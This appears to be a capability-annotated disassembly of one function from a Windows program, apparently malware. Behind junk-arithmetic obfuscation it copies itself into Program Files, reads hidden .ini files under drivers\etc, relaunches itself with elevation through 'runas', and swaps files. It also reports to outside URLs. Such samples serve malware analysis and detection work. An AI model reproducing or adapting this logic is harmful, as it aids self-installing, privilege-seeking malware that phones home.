Function at 0x402400
Capabilities:
Copy file
Create a process with modified i/o handles and window
Create directory
Create process on windows
Delete file
Initialize winsock library
Move file
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x443c2b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x12ac
call fcn.00429c90
mov eax, dword [0x457000]
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
xor eax, eax
mov esi, dword [0x4556a8]
imul esi, esi, 0x212c
mov byte [ebp - 0x814], 0
mov ecx, 0x7f
lea edi, [ebp - 0x813]
rep stosd dword es:[edi], eax
mov ecx, dword [0x45569c]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, 0x73b2d479
imul ecx
mov ecx, dword [0x455690]
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x27e98ca1
imul ecx
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x455694]
mov eax, 0x5d0a95d5
imul ecx
mov ecx, dword [0x45568c]
imul ecx, ecx, 0x11be
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
add eax, ecx
push 0
mov dword [str._r_____r____], eax
mov dword [ebp - 4], 0
call fcn.00429c4f
mov ecx, dword [0x455690]
mov edi, dword [0x4556a8]
mov esi, eax
imul edi, edi, 0x212c
mov eax, 0x5d0a95d5
imul ecx
mov ecx, dword [0x4556a0]
sar edx, 0xb
imul ecx, ecx, 0x11be
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
sub ebx, edi
add ebx, ecx
mov ecx, dword [0x45568c]
mov eax, 0x4b438bdf
imul ecx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add ebx, edx
mov edx, dword [0x455694]
add eax, ebx
sub eax, edx
add eax, 0x1e03
add esp, 4
mov dword [0x45568c], eax
call fcn.004411b5
mov eax, dword [eax + 4]
mov ecx, dword [eax + 0x44]
push ecx
lea ecx, [ebp - 0xdb8]
call fcn.00402350
mov ecx, dword [ebp - 0xdb8]
mov byte [ebp - 4], 1
lea edx, [ebp - 0x514]
mov edi, edi
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x402550
lea eax, [ebp - 0x514]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402563
sub eax, edx
mov dword [ebp - 0xdac], eax
jne 0x402f02
mov edi, dword [str._r_____r____]
mov edx, dword [0x45568c]
imul edi, edi, 0x1603
mov eax, dword [0x455698]
imul edx, edx, 0x11be
mov ecx, dword [0x45569c]
imul eax, eax, 0xe0e
add edi, edx
add edi, eax
mov eax, 0x4b438bdf
imul ecx
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
push str.C:WINDOWS_system32driversetc_service3.ini
add ecx, edx
mov edx, dword [0x4556a4]
push 0x100
sub edi, ecx
lea ecx, [ebp - 0x114]
push ecx
push 0x445de9
push str.rand
lea eax, [edi + edx - 0x544]
push str.aaaaa
mov dword [0x455694], eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea edx, [ebp - 0x114]
push edx
call fcn.00429c4a
add esp, 4
test eax, eax
jle 0x402614
lea eax, [ebp - 0x114]
push eax
call fcn.00429c4a
add esp, 4
mov esi, eax
mov eax, esi
cdq
mov ecx, 0x190
idiv ecx
mov ebx, edx
mov ecx, edx
and ecx, 0x80000001
mov dword [ebp - 0xda8], ebx
jns 0x402635
dec ecx
or ecx, 0xfffffffe
inc ecx
cmp ecx, 1
jne 0x40269c
mov esi, dword [0x455694]
mov edi, dword [0x455690]
mov eax, 0x27e98ca1
imul edi, edi, 0x2367
imul esi
imul esi, esi, 0x544
sar edx, 0xa
add edi, edx
mov ecx, edx
mov edx, dword [0x45568c]
mov eax, edx
imul eax, eax, 0x15e3
shr ecx, 0x1f
add ecx, edi
add ecx, eax
mov edi, dword [0x4556a4]
mov eax, 0x48dbb693
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
add ecx, esi
lea esi, [ebx - 1]
mov dword [0x45569c], ecx
inc ebx
jmp 0x40270c
mov ecx, dword [0x45569c]
mov eax, 0x73b2d479
imul ecx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a4]
mov esi, eax
mov eax, 0xd816735f
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x1603
mov edi, eax
sub edi, esi
add edi, edx
mov edx, dword [0x45568c]
mov eax, 0x5d0a95d5
imul edx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455688]
imul edx, edx, 0xd9b
sub edi, eax
add edi, edx
mov esi, ebx
mov dword [0x4556a4], edi
add ebx, 2
mov eax, dword [0x4556a0]
imul eax, eax, 0x2367
mov dword [ebp - 0xdb0], eax
mov eax, 0x5d929e5d
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, dword [ebp - 0xdb0]
sub ecx, eax
mov eax, 0x48dbb693
imul edi
mov edi, dword [0x455688]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [0x455690]
imul eax, eax, 0x544
sub ecx, eax
mov eax, dword [str._r_____r____]
lea edx, [ecx + eax]
add edi, edx
mov edx, 0x190
cmp ebx, edx
mov dword [0x455688], edi
jl 0x40277e
mov ebx, dword [ebp - 0xda8]
dec ebx
mov edx, dword [0x455688]
imul esi, esi, 0x21
lea esi, [esi + str.Installing]
add ecx, eax
push esi
lea eax, [ebp - 0x214]
add edx, ecx
push str.C:Program_Files_s
push eax
mov dword [0x455688], edx
mov dword [ebp - 0xdac], esi
call fcn.00429b6a
add esp, 0xc
push 0
lea ecx, [ebp - 0x214]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edx, ebx
imul edx, edx, 0x21
add edx, str.Installing
push edx
push esi
lea eax, [ebp - 0x214]
push str.C:Program_Files_s_s.exe
push eax
call fcn.00429b6a
mov ecx, dword [0x455694]
mov eax, 0x5d0a95d5
imul ecx
mov ecx, dword [0x455698]
sar edx, 0xb
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x3dbd3249
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edi, ecx
mov ecx, dword [0x4556a8]
mov eax, 0x736e5bc3
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a0]
sub edi, eax
imul edx, edx, 0xd9b
mov eax, ecx
imul ecx, ecx, 0x212c
imul eax, eax, 0x544
add edi, edx
mov edx, dword [0x45569c]
sub edi, eax
mov eax, 0x73b2d479
imul edx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455690]
sub ecx, eax
mov eax, 0x27e98ca1
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45568c]
imul edx, edx, 0x11be
sub ecx, eax
sub edi, esi
add ecx, esi
add esp, 0x10
add edx, ecx
mov dword [0x455698], edi
mov dword [ebp - 0xdb0], 0
mov dword [str._r_____r____], edx
push 0x100
lea eax, [ebp - 0x114]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x100
lea ecx, [ebp - 0x114]
push 0x8000
push ecx
call fcn.004364cb
mov esi, dword [0x4556a8]
mov edi, eax
mov eax, 0x5d0a95d5
imul dword [0x455690]
mov ecx, esi
imul ecx, ecx, 0x212c
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ecx
mov ecx, dword [0x4556a0]
imul ecx, ecx, 0x11be
add eax, ecx
mov ecx, dword [0x45568c]
mov dword [ebp - 0xda8], eax
mov eax, 0x4b438bdf
imul ecx
mov eax, dword [ebp - 0xda8]
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add eax, edx
add ecx, eax
sub ecx, dword [0x455694]
add ecx, 0x1e03
add esp, 0xc
cmp edi, 0xffffffff
mov dword [0x45568c], ecx
je 0x402b78
mov esi, dword [str._r_____r____]
imul ecx, ecx, 0x11be
mov edx, dword [0x455698]
imul esi, esi, 0x1603
imul edx, edx, 0xe0e
add esi, ecx
mov ecx, dword [0x45569c]
add esi, edx
mov eax, 0x4b438bdf
imul ecx
mov ecx, dword [0x4556a4]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
push 0x100000
sub esi, eax
lea edx, [esi + ecx - 0x544]
push 0x457f80
push edi
mov dword [0x455694], edx
call fcn.004350e8
mov esi, eax
push edi
mov dword [ebp - 0xdb4], esi
call fcn.00435284
add esp, 0x10
cmp esi, 0x2800
jle 0x402b6c
mov ecx, dword [0x455694]
mov esi, dword [0x455690]
mov eax, 0x27e98ca1
imul esi, esi, 0x2367
imul ecx
imul ecx, ecx, 0x544
sar edx, 0xa
mov edi, edx
add esi, edx
mov edx, dword [0x45568c]
mov eax, edx
imul eax, eax, 0x15e3
shr edi, 0x1f
add edi, esi
add edi, eax
mov eax, 0x48dbb693
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
push 0
mov dword [0x45569c], edi
call fcn.00429c4f
push eax
push 0x445da8
push 0x458280
call fcn.00429b6a
push 0x180
lea ecx, [ebp - 0x214]
push 0x8302
push ecx
call fcn.004364cb
mov esi, eax
add esp, 0x1c
cmp esi, 0xffffffff
je 0x402b6c
mov ecx, dword [0x45569c]
mov eax, 0x73b2d479
imul ecx
imul ecx, ecx, 0x1603
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a4]
mov edi, eax
mov eax, 0xd816735f
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, edi
add eax, ecx
mov ecx, dword [0x45568c]
mov edi, eax
mov eax, 0x5d0a95d5
imul ecx
mov eax, dword [ebp - 0xdb4]
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x455688]
imul edx, edx, 0xd9b
push eax
sub edi, ecx
add edi, edx
push 0x457f80
push esi
mov dword [0x4556a4], edi
call fcn.00432bb3
push 2
push 0
push esi
call fcn.0043293a
xor eax, eax
mov ecx, 0x80
lea edi, [ebp - 0xc14]
rep stosd dword es:[edi], eax
mov ecx, dword [0x45569c]
mov edi, dword [0x4556a0]
mov eax, 0x5d929e5d
imul edi, edi, 0x2367
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, ecx
mov ecx, dword [0x4556a4]
sub eax, edi
mov edi, eax
mov eax, 0x48dbb693
imul ecx
mov ecx, dword [0x455690]
sar edx, 0xa
imul ecx, ecx, 0x544
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
sub edi, eax
sub edi, ecx
mov ecx, dword [0x455688]
add edi, edx
push ebx
lea edx, [ebp - 0xc14]
push edx
add ecx, edi
push esi
mov dword [0x455688], ecx
call fcn.00432bb3
push esi
call fcn.00435284
add esp, 0x28
mov dword [ebp - 0xdb0], 1
mov ecx, dword [0x45568c]
mov esi, dword [0x4556a8]
mov ebx, dword [0x45569c]
mov eax, 0x443d7153
imul dword [0x455690]
sar edx, 0xb
mov edi, esi
imul edi, edi, 0x19a8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x27e98ca1
imul ebx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455688]
imul edx, edx, 0xe0e
sub edi, eax
mov eax, dword [0x4556a0]
add edi, edx
sub edi, eax
mov eax, dword [ebp - 0xdb0]
sub edi, 0x544
cmp eax, 1
mov dword [0x455690], edi
jne 0x402ef3
mov eax, 0x73b2d479
imul esi, esi, 0x212c
imul ecx, ecx, 0x11be
imul ebx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x27e98ca1
imul edi
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x5d0a95d5
imul dword [0x455694]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
add eax, ecx
lea ecx, [ebp - 0x214]
push ecx
lea edx, [ebp - 0x114]
push str._s__33201_
push edx
mov dword [str._r_____r____], eax
call fcn.00429b6a
xor eax, eax
mov esi, dword [0x4556a8]
mov ecx, 0x11
imul esi, esi, 0x212c
lea edi, [ebp - 0xdfc]
rep stosd dword es:[edi], eax
mov ecx, dword [0x455690]
mov eax, 0x5d0a95d5
imul ecx
mov ecx, dword [0x4556a0]
sar edx, 0xb
imul ecx, ecx, 0x11be
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, esi
mov esi, dword [str._r_____r____]
add edi, ecx
imul esi, esi, 0x1603
mov ecx, dword [0x45568c]
mov eax, 0x4b438bdf
imul ecx
mov ecx, dword [0x45569c]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add edi, edx
mov edx, dword [0x455698]
add eax, edi
imul edx, edx, 0xe0e
sub eax, dword [0x455694]
add eax, 0x1e03
mov dword [0x45568c], eax
imul eax, eax, 0x11be
add esi, eax
add esi, edx
mov eax, 0x4b438bdf
imul ecx
mov ecx, dword [0x4556a4]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
add esp, 0xc
mov dword [ebp - 0xdfc], 0x44
mov dword [ebp - 0xdd0], 1
mov word [ebp - 0xdcc], 5
sub esi, eax
lea edx, [esi + ecx - 0x544]
lea eax, [ebp - 0xe0c]
push eax
lea ecx, [ebp - 0xdfc]
push ecx
push 0
push 0
push 0x20
push 0
push 0
mov dword [0x455694], edx
push 0
lea edx, [ebp - 0x114]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x402dad
mov ecx, dword [0x455694]
mov esi, dword [0x455690]
mov eax, 0x27e98ca1
imul esi, esi, 0x2367
imul ecx
imul ecx, ecx, 0x544
sar edx, 0xa
mov edi, edx
add esi, edx
mov edx, dword [0x45568c]
mov eax, edx
imul eax, eax, 0x15e3
shr edi, 0x1f
add edi, esi
add edi, eax
mov eax, 0x48dbb693
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
push 0
mov dword [0x45569c], edi
call fcn.00429b2a
mov ecx, dword [0x45569c]
mov eax, 0x73b2d479
imul ecx
imul ecx, ecx, 0x1603
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a4]
mov esi, eax
mov eax, 0xd816735f
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, esi
add edi, ecx
mov ecx, dword [0x45568c]
mov eax, 0x5d0a95d5
imul ecx
mov eax, dword [ebp - 0xdac]
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x455688]
imul edx, edx, 0xd9b
push eax
sub edi, ecx
lea ecx, [ebp - 0x214]
add edi, edx
push str.C:Program_Files_s
push ecx
mov dword [0x4556a4], edi
call fcn.00429b6a
add esp, 0xc
push 1
lea edx, [ebp - 0x214]
push edx
push 0
lea eax, [ebp - 0x114]
push eax
push str.runas
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
push 0
jg 0x4039d4
mov ecx, dword [0x45569c]
mov esi, dword [0x4556a0]
mov eax, 0x5d929e5d
imul esi, esi, 0x2367
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edi, ecx
mov ecx, dword [0x4556a4]
mov eax, 0x48dbb693
imul ecx
mov ecx, dword [0x455690]
push 0
imul ecx, ecx, 0x544
sar edx, 0xa
push 0
mov eax, edx
shr eax, 0x1f
add eax, edx
push 0
sub edi, esi
sub edi, eax
mov eax, dword [0x455688]
push str.http:__stat.wamme.cn_C8C_gl_cnzz61.html_pagehttp:__www.WebDllx.com_RunExeFail
sub edi, ecx
mov ecx, dword [str._r_____r____]
push 0x45567c
push 0
add edi, ecx
add eax, edi
push 0
mov dword [0x455688], eax
mov eax, dword [ebp + 8]
push 1
add eax, 0x74
push 0x68
push eax
call fcn.0043bcba
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x2c
push 0x2710
call ebx
jmp 0x402f08
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call ebx
jmp 0x402f08
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x45569c]
mov eax, 0x5d929e5d
imul ecx
mov ecx, dword [0x4556a4]
mov esi, dword [0x4556a0]
sar edx, 0xb
imul esi, esi, 0x2367
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x48dbb693
imul ecx
mov eax, dword [0x455688]
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x455690]
imul edx, edx, 0x544
sub edi, esi
sub edi, ecx
mov ecx, dword [str._r_____r____]
sub edi, edx
add edi, ecx
add eax, edi
mov dword [0x455688], eax
lea eax, [ebp - 0xda4]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x402f87
push 0
call fcn.00429b2a
push 3
push 0x455678
push 0x413c
call fcn.00401790
add esp, 0xc
test eax, eax
je 0x403024
mov ecx, dword [0x45569c]
mov eax, 0x73b2d479
imul ecx
imul ecx, ecx, 0x1603
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a4]
mov esi, eax
mov eax, 0xd816735f
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, esi
add edi, ecx
mov ecx, dword [0x45568c]
mov eax, 0x5d0a95d5
imul ecx
mov eax, dword [0x455678]
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x455688]
imul edx, edx, 0xd9b
sub edi, ecx
add edi, edx
cmp eax, 0xffffffff
mov dword [0x4556a4], edi
je 0x40301d
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
push 0
call fcn.00429b2a
mov ecx, dword [0x455690]
mov esi, dword [0x4556a8]
mov eax, 0x5d0a95d5
imul esi, esi, 0x212c
imul ecx
mov ecx, dword [0x4556a0]
sar edx, 0xb
imul ecx, ecx, 0x11be
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, esi
add edi, ecx
mov ecx, dword [0x45568c]
mov eax, 0x4b438bdf
imul ecx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add edi, edx
mov edx, dword [0x455694]
add eax, edi
sub eax, edx
add eax, 0x1e03
push 0
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [0x45568c], eax
call fcn.0042995d
add esp, 8
cmp eax, 0xffffffff
jne 0x4030b3
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.0042995d
add esp, 8
cmp eax, 0xffffffff
je 0x4030b3
push 0xea60
call ebx
mov ecx, dword [0x455690]
mov esi, dword [0x4556a8]
mov eax, 0x443d7153
imul esi, esi, 0x19a8
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x45569c]
mov eax, 0x27e98ca1
imul ecx
mov ecx, dword [0x455688]
imul ecx, ecx, 0xe0e
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
sub esi, dword [0x4556a0]
push 0
sub esi, 0x544
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [0x455690], esi
call fcn.0042995d
add esp, 8
cmp eax, 0xffffffff
je 0x403977
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.0042995d
add esp, 8
cmp eax, 0xffffffff
je 0x403977
mov ecx, dword [0x455694]
mov eax, 0x5d0a95d5
imul ecx
mov ecx, dword [0x455698]
sar edx, 0xb
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x3dbd3249
imul ecx
mov ecx, dword [0x4556a8]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x736e5bc3
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a0]
sub edi, eax
imul edx, edx, 0xd9b
mov eax, ecx
imul ecx, ecx, 0x212c
imul eax, eax, 0x544
add edi, edx
mov edx, dword [0x45569c]
sub edi, eax
mov eax, 0x73b2d479
imul edx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455690]
sub ecx, eax
mov eax, 0x27e98ca1
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45568c]
push 0x445d04
imul edx, edx, 0x11be
push 0x200
sub ecx, eax
lea eax, [ebp - 0xa14]
push eax
push 0x445de9
add ecx, esi
push str.ConfigL0
add edx, ecx
sub edi, esi
push str.GameType1
mov dword [0x455698], edi
mov dword [str._r_____r____], edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov edi, 0x445de9
lea esi, [ebp - 0xa14]
mov ecx, 1
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x40356e
mov ecx, dword [0x455690]
mov esi, dword [0x4556a8]
mov eax, 0x5d0a95d5
imul esi, esi, 0x212c
imul ecx
mov ecx, dword [0x4556a0]
sar edx, 0xb
imul ecx, ecx, 0x11be
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, esi
add edi, ecx
mov ecx, dword [0x45568c]
mov eax, 0x4b438bdf
imul ecx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add edi, edx
mov edx, dword [0x455694]
add eax, edi
lea ecx, [ebp - 0xa14]
push ecx
sub eax, edx
lea edx, [ebp - 0x12bc]
add eax, 0x1e03
push 0x12c
push edx
mov dword [0x45568c], eax
call fcn.004012d0
add esp, 0xc
cmp eax, 5
jl 0x40356e
mov esi, dword [str._r_____r____]
mov eax, dword [0x45568c]
imul esi, esi, 0x1603
mov ecx, dword [0x455698]
imul eax, eax, 0x11be
imul ecx, ecx, 0xe0e
add esi, eax
add esi, ecx
mov ecx, dword [0x45569c]
mov eax, 0x4b438bdf
imul ecx
mov ecx, dword [0x4556a4]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
lea edx, [esi + ecx - 0x544]
mov dword [0x455694], edx
mov edx, dword [ebp - 0x12bc]
mov eax, edx
lea esi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403320
sub eax, esi
mov cl, byte [eax + edx - 1]
mov eax, dword [ebp - 0x12b0]
push eax
cmp cl, 0x5c
push edx
lea ecx, [ebp - 0x414]
jne 0x403347
push str._s_s
jmp 0x40334c
push 0x445cdc
push ecx
call fcn.00429b6a
mov ecx, dword [0x455694]
mov esi, dword [0x455690]
mov eax, 0x27e98ca1
imul esi, esi, 0x2367
imul ecx
imul ecx, ecx, 0x544
sar edx, 0xa
mov edi, edx
add esi, edx
mov edx, dword [0x45568c]
mov eax, edx
imul eax, eax, 0x15e3
shr edi, 0x1f
add edi, esi
add edi, eax
mov eax, 0x48dbb693
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
add esp, 0x10
lea ecx, [ebp - 0x414]
push ecx
lea edx, [ebp - 0x614]
push str._s.bak
push edx
mov dword [0x45569c], edi
call fcn.00429b6a
add esp, 0xc
push 0
lea eax, [ebp - 0x614]
push eax
lea ecx, [ebp - 0x414]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [ebp - 0x414]
push edx
call esi
mov ecx, dword [0x45569c]
mov eax, 0x73b2d479
imul ecx
imul ecx, ecx, 0x1603
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a4]
mov edi, eax
mov eax, 0xd816735f
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, edi
add eax, ecx
mov ecx, dword [0x45568c]
mov edi, eax
mov eax, 0x5d0a95d5
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x455688]
imul edx, edx, 0xd9b
sub edi, ecx
lea eax, [ebp - 0x414]
add edi, edx
push 0
push eax
mov dword [0x4556a4], edi
call fcn.0042995d
add esp, 8
cmp eax, 0xffffffff
je 0x4034de
mov ecx, dword [0x45569c]
mov edi, dword [0x4556a0]
mov eax, 0x5d929e5d
imul edi, edi, 0x2367
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov ebx, ecx
mov ecx, dword [0x4556a4]
mov eax, 0x48dbb693
imul ecx
mov ecx, dword [0x455690]
sar edx, 0xa
imul ecx, ecx, 0x544
mov eax, edx
sub ebx, edi
mov edi, dword [str._r_____r____]
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455688]
sub ebx, eax
sub ebx, ecx
add ebx, edi
add edx, ebx
mov dword [0x455688], edx
lea edx, [ebp - 0x614]
push edx
call esi
push 0
call fcn.00429b2a
mov ecx, dword [0x455690]
mov esi, dword [0x4556a8]
mov eax, 0x443d7153
imul esi, esi, 0x19a8
imul ecx
mov ecx, dword [0x45569c]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x27e98ca1
imul ecx
mov edi, dword [0x4556a0]
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x455688]
imul edx, edx, 0xe0e
sub esi, ecx
add esi, edx
lea eax, [ebp - 0x414]
sub esi, edi
push eax
lea ecx, [ebp - 0x614]
sub esi, 0x544
push ecx
mov dword [0x455690], esi
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea eax, [ebp - 0x414]
lea ecx, [ebp - 0x814]
mov edi, edi
mov dl, byte [eax]
inc eax
mov byte [ecx], dl
inc ecx
test dl, dl
jne 0x403560
push 0x64
call ebx
mov ecx, dword [0x455698]
mov eax, 0x3dbd3249
imul ecx
mov ecx, dword [0x455694]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x5d0a95d5
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x4556a8]
mov eax, 0x736e5bc3
imul ecx
imul ecx, ecx, 0x544
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a0]
imul edx, edx, 0xd9b
sub esi, eax
add esi, edx
sub esi, ecx
lea eax, [ebp - 0x814]
mov dword [0x455698], esi
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4035e0
sub eax, edx
mov dword [ebp - 0xdac], eax
jne 0x4035f8
push 0
call fcn.00429b2a
mov ecx, dword [0x45569c]
mov eax, 0x73b2d479
imul ecx
imul ecx, ecx, 0x1603
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a4]
mov esi, eax
mov eax, 0xd816735f
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, esi
add edi, ecx
mov ecx, dword [0x45568c]
mov eax, 0x5d0a95d5
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x455688]
imul edx, edx, 0xd9b
sub edi, ecx
lea eax, [ebp - 0x814]
add edi, edx
push 0
push eax
mov dword [0x4556a4], edi
call fcn.0042995d
add esp, 8
cmp eax, 0xffffffff
jne 0x403798
mov ecx, dword [str._r_____r____]
mov esi, dword [0x4556a0]
mov eax, 0xa26d61a3
imul esi, esi, 0x1b47
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x455690]
imul edx, edx, 0x11be
mov edi, ecx
mov ecx, dword [0x455698]
push 0
sub edi, esi
add edi, edx
mov eax, 0x4b438bdf
imul ecx
push 0
push 0
push 0
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_pagehttp:__www.WebDllx.com_NoDllx
sar edx, 0xa
push 0x45567c
mov eax, edx
shr eax, 0x1f
push 0
add edi, edx
add eax, edi
push 0
mov dword [0x4556a8], eax
mov eax, dword [ebp + 8]
push 1
add eax, 0x74
push 0x68
push eax
call fcn.0043bcba
add esp, 0x2c
push 0x2710
call ebx
mov ecx, dword [0x45569c]
mov esi, dword [0x4556a8]
mov eax, 0x73b2d479
imul esi, esi, 0x212c
imul ecx
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x455690]
mov eax, 0x27e98ca1
imul ecx
mov ecx, dword [0x455694]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x5d0a95d5
imul ecx
sar edx, 0xb
mov ecx, edx
add esi, edx
mov edx, dword [0x45568c]
imul edx, edx, 0x11be
shr ecx, 0x1f
add ecx, esi
add ecx, edx
push 0
